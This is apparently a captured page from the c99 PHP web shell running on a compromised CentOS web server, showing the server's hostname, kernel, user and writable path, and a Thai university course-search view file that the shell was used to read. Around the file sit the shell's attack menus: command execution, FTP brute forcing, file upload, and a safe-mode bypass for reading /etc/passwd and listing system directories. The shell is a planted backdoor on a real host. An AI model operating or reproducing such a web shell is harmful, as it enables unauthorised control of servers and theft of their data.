!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_g_course.php (5.37 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= (isset($qu_cfg) && $qu_cfg!=NULL) ? $qu_cfg->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<?php echo form_open($this->config->item("rg_folder")."general/crs", array("name" => "myform""id" => "myform"));?>
    <tr>
        <td><table width="100%" border="0" cellspacing="3" cellpadding="0" align="center">
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td align="center"><span class="h error">รายวิชาที่เปิดสอน</span>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td><table class="szone">
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td colspan="4"><span class="fontH" style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>"><b>ค้นหารายวิชาที่เปิดสอนตามหลักสูตร</b></span></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone"><span>หลักสูตร</span></td>
                        <td colspan="3"><?php echo form_dropdown('curId'$rs_cur);?></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone"><span>ปีการศึกษา</span></td>
                        <td><?php echo form_dropdown('acY'$rs_tmc);?></td>
                        <td class="coltd_szone"><span>ภาคการศึกษา</span></td>
                        <td><?php echo form_dropdown('tmId'$rs_tm);?></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone"><span>ชั้นปีที่</span></td>
                        <td colspan="3"><?php echo form_dropdown('syId'$rs_sy);?></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td colspan="4"><span class="fontH" style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>"><b>ค้นหารายวิชาที่เปิดสอนตามรหัสรายวิชาและชื่อรายวิชา</b></span></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone"><span>รหัสวิชา</span></td>
                        <td colspan="3"><input type="text" name="crsCode" value="<?php echo $crsCode;?>" size="5" onFocus="this.value = ''"></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone"><span>ชื่อวิชา (ไทย)</span></td>
                        <td><input type="text" name="crsName" value="<?php echo $crsName;?>" size="25" onFocus="this.value = ''"></td>
                        <td class="coltd_szone"><span>ชื่อวิชา (อังกฤษ)</span></td>
                        <td><input type="text" name="crsNameE" value="<?php echo $crsNameE;?>" size="25" onFocus="this.value = ''"></td>
                    </tr>
                    <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                        <td class="coltd_szone" colspan="4" align="center">
                        <input type="submit" id="btnSearch" name="btnSearch" value="ค้นหา" /></td>
                    </tr>
                </table></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
<?php
            
if ($btnSearch) {
?>
            <tr>
                <td align="center"><table class="headCol">
                    <tr>
                        <th class="stdCodeCol"><span>รหัสวิชา</span></th>
                        <th><span>ชื่อวิชา</span></th>
                        <th class="groupCol"><span>หน่วยกิต</span></th>
                        <th class="domAmtCol"><span>ปีการศึกษา/<br>ภาคการศึกษา/ชั้นปี</span></th>
                        <th class="seqCol"><span>กลุ่ม</span></th>
                        <th class="groupCol"><span>รับ/ลง</span></th>
                    </tr>
<?php
                    $i 
0;
                    foreach (
$rs_co->result() as $row_co) {
                        echo 
"<tr onmouseover=\"bgColor='".setValue('cfgBgClSwapTr',$row_cfg)."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                        <td class="indent"><span><b><?php echo $row_co->crsCode;?></b></span></td>
                        <td class="indent"><span><?php echo explodeSquare($row_co->crsName).'<br>'.explodeSquare($row_co->crsNameE);?></span></td>
                        <td align="center"><span><?php echo $row_co->crsUnit;?></span></td>
                        <td align="center"><span><?php echo $row_co->coAcY.' / '.$row_co->coTmId.' / '.$row_co->coSyId;?></span></td>
                        <td align="center"><span><?php echo $row_co->coSection;?></span></td>
                        <td align="center"><span><?php echo $row_co->coNumSeatOpen.' / '.$row_co->coNumSeatReg;?></span></td>
                    </tr>
<?php
                        $i
++;
                    }

                    if (
$i == 0) {
?>
                    <tr>
                        <td height="22" colspan="6" align="center"><span style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>">** ไม่ปรากฏรายวิชาที่ค้นหา **</span></td>
                    </tr>
<?php
                    
}
?>
                </table></td>
            </tr>
<?php
            
}
?>
        </table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td ><span style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>"><b>คำแนะนำ : </b>ท่านสามารถค้นหารายวิชาที่เปิดสอนได้โดยสามารถเลือกจากหลักสูตร ปีการศึกษา ภาคการศึกษา ชั้นปี รหัสวิชา หรือชื่อวิชา</span></td>
    </tr>
    <?php echo form_close();?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--